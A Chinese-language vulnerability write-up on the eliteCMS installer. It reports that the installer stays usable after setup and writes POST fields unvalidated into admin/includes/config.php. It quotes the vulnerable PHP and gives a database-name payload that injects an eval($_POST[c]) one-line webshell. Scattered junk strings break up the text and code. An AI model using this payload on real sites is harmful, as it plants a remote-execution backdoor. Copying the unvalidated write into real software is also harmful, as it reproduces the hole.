eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
+ Y8 z* i! B1 S$ S' B我们来看代码：

  W5 A4 r( A9 r/ w/ M1 f...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
+ U. B% s0 L! T! o! E9 z    $write = "<?php\n";
* [7 o# j, v! _7 k5 \, }+ V! ^    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
+ S! U+ n1 E! e( o, d# c; z: ^...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
( @) n& Q2 C4 H  Q. T2 j5 c  a% z    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
. W& b2 T/ j. p$ R    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
% b3 B5 j5 p+ P! A! X5 p2 N    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
& L" A) v4 [) h' W# f- e    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
! T; k% s+ ]' A/ r! E2 q4 W! a( h    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
6 e: v5 s3 b; a  w3 Y9 t5 w, f& b! S5 B" x    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
. G. s: m" X6 K+ w) f5 ?6 ?; C    $write .= "        \n";
3 B5 z$ p/ s9 P9 K5 A: S: j    $write .= "} \n";
  R. ~" Q0 J" U/ r+ X, i0 O" ]    $write .= "?>\n";
& v9 L5 G: U1 t5 Q. }
    $writer = fopen($file, 'w');
0 W1 ?' a$ h" _5 [5 }0 @* N! Q" {...

2 t2 d3 m2 [, U在看代码：

% c2 K7 V# ?$ w6 }) K# D) v$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
6 ^8 W( [" a# z. d% Z1 c$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
2 P8 `6 e& j* G$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
+ U3 Z9 M6 r4 \
" u5 A9 k# W) y$ D) M+ ]1 G"?><?php eval($_POST[c]);?><?php
' W+ X( n7 S1 f2 ^3 ]
将导致一句话后门写入/admin/includes/config.php
% _3 ^( k) i) j8 y; Z4 L7 Q